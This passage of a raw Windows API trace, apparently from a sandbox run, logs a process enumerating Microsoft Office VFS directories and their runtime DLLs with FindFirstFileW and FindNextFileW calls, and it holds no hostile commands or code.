| out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~3.DLL")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe460, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140enu.dll", cAlternateFileName="MFC140~4.DLL")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x100c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc5770c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140fra.dll", cAlternateFileName="MF6461~1.DLL")) returned 1 [0250.882] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfcc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1 [0250.882] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140jpn.dll", cAlternateFileName="MFC411~1.DLL")) returned 1 [0250.882] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb660, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1 [0250.882] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1 [0250.882] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x562670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0250.882] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1 [0250.883] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1 [0250.883] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95058, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1 [0250.883] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x618c1b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp110.dll", cAlternateFileName="")) returned 1 [0250.883] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f458, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0250.883] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x99258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0250.883] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcb058, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0250.883] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd5c75d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd5c75d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdd5c75d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc8858, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr110.dll", cAlternateFileName="")) returned 1 [0250.884] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9458, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0250.884] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vccorlib110.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0250.884] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vccorlib120.dll", cAlternateFileName="VCCORL~2.DLL")) returned 1 [0250.884] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5d660, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~3.DLL")) returned 1 [0250.884] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13c58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0250.884] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 1 [0250.884] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 0 [0250.884] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0250.885] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0250.885] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0250.885] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0250.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\*", lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfa08 [0250.887] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.887] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0250.887] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42acd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140.dll", cAlternateFileName="")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa6af6fe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~4.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140cht.dll", cAlternateFileName="MF87C9~1.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~1.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdcc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140enu.dll", cAlternateFileName="MF352D~1.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10460, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140fra.dll", cAlternateFileName="MFC140~2.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc6df3cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc6df3cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10060, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140jpn.dll", cAlternateFileName="MFC140~3.DLL")) returned 1 [0250.888] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43aad0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9bf4d66, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9bf4d66, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15268, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6194c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xa1880, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mscomct2.ocx", cAlternateFileName="")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1697068, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3eec8, dwReserved0=0x0, dwReserved1=0x2e0000, 